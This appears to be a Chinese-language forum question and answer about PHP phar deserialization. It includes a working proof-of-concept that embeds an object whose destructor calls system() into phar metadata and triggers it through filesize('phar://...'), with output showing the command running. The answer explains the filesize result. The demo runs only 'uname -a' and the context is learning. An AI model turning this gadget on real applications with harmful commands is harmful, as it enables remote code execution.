我正在学习php phar反序列化(引入BlckHat2010,成熟BlackHat2018)
# create_phar.php
<?php
class SomeClassTheAppLoaded {
public $data = null;
public function __construct($data) { $this->data = $data; }
public function __destruct() { system($this->data); }
}
try {
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$object = new SomeClassTheAppLoaded('uname -a');
$phar->setMetadata($object);
$phar->stopBuffering();
} catch (Exception $e) { echo $e->getMessage(); }
存档
test.phar
创建成功:
$ php --define phar.readonly=0 create_phar.php 1>/dev/null
当发送到
file_exists
和 filesize
时会触发所需的漏洞 (uname -a
):
# vuln.php
<?php
class SomeClassTheAppLoaded {
public $data = null;
public function __construct($data) { $this->data = $data; }
public function __destruct() { system($this->data); }
}
$size = filesize("phar://test.phar");
print_r("size = $size\n");
# uncomment will print file exists: 1
# $exists = file_exists("phar://test.phar");
# print_r("file exists: $exists\n");
令我困扰的是返回的
filesize
是错误(而file_exists
是正确)
$ php vuln.php
size = 0
Linux < ... omitted ...> -microsoft-standard-WSL2 < ... omitted ... > x86_64 GNU/Linux
phar 的文件大小由
filesize('test.phar')
给出。
filesize('phar://test.phar')
没有任何意义,因为phar是一个虚拟目录,并且目录的大小没有定义。
filesize('phar://test.phar/test.txt')
将返回 phar 中 test.txt
条目的大小。